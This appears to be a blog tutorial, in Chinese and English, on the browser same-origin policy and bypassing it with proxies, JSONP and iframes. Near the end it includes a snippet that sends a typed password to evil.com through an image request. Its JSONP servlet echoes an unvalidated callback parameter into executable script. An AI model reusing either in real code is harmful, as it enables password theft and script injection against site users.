AJAX Cross-Domain Same-Origin Policy limitation

最新推荐文章于 2024-12-14 19:50:29 发布

原创最新推荐文章于 2024-12-14 19:50:29 发布 · 561 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#ajax #jsonp #javascript #callback #xmlhttprequest #function

UI 专栏收录该内容

31 篇文章

订阅专栏

本文深入探讨了同源策略的限制及其绕过方法，包括使用代理服务器、JSONP技术以及iframe实现跨域请求。重点介绍了JSONP在动态引入不同域的JavaScript元素方面的应用，并提供了实例代码。此外，还概述了使用iframe作为跨域解决方案的原理。

AJAX Same-Origin Policy(SOP) limitation:

摘自：http://www.ibm.com/developerworks/library/wa-aj-jsonp1/

http://www.ibm.com/developerworks/cn/lotus/mashup-openajax/index.html

同源策略中“源”是一个包含主机名、协议和端口号的三元组。在同源策略的限制下，浏览器只允许网页中的脚本（如 JavaScript 或 VBScript）访问与之同源的 HTTP 请求和 cookie。注意即使域名和IP是对应的同一个地址，也是属于不同的源的。这里需要注意的是同源策略只对网页的 HTML 文档对象做了限制(XmlHttpRequest)，而对静态的资源文件，如 JavaScript 文件、CSS 文件、图片都可以被导入到 HTML 文档对象中（例如 , <script src="..." >, <img src=”…”>）。因此，对于静态文件可以从任意其它域名下导入 HTML 文档。

AJAX prevents cross-domail invokation, there are several ways to by pass this limitation.

1. write a proxy on the server side. The SOP limitation only exists only on the javascript side. While on the side, we can still invoke the other domail url such as via HttpClient

2. JSONP(JSON with Padding)

the same-origin policy doesn't prevent the insertion of dynamic script elements (动态引入图像也是可以的，这样静态资源也可以引起跨域的调用）into the document. That is, you could dynamically insert JavaScript from different domains, carrying JSON data in them.

<mce:script type="text/javascript"><!--
// This is our function to be called with JSON data
function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}
var url = “ticker.js”; // URL of the external script
// this shows dynamic script insertion
var script = document.createElement('script');
script.setAttribute('src', url);

// load the script
document.getElementsByTagName('head')[0].appendChild(script); 
// --></mce:script>

Note that, in order to do this, you must have a callback function already defined in the Web page at the time of insertion.

Beginning with version 1.2, jQuery has had native support for JSONP calls. You can load JSON data located on another domain if you specify a JSONP callback, which can be done using the following syntax: url?callback=?.

AJAX invoke:

jQuery.getJSON("http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=?", 
function(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
});

Another domain generates json data and returned to client side with callback function.

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
  throws ServletException, IOException {
	String jsonData = getDataAsJson(req.getParameter("symbol"));
	String output = req.getParameter("callback") + "(" + jsonData + ");";

	resp.setContentType("text/javascript");
          
	PrintWriter out = resp.getWriter();
	out.println(output);
	// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});
}

基于图像的如下：

(function(){ 
	function getPassword() { 
		var pw = document.getElementById("password").value; 
		var imgTag = document.createElement("IMG"); 
		imgTag.setAttribute("src", "http://evil.com?pw=" + pw); 
	} 
	document.getElementById("submit").addEventListener("click",getPassword); 
})()

3. iframe

通过iframe的src可以指向任意的server url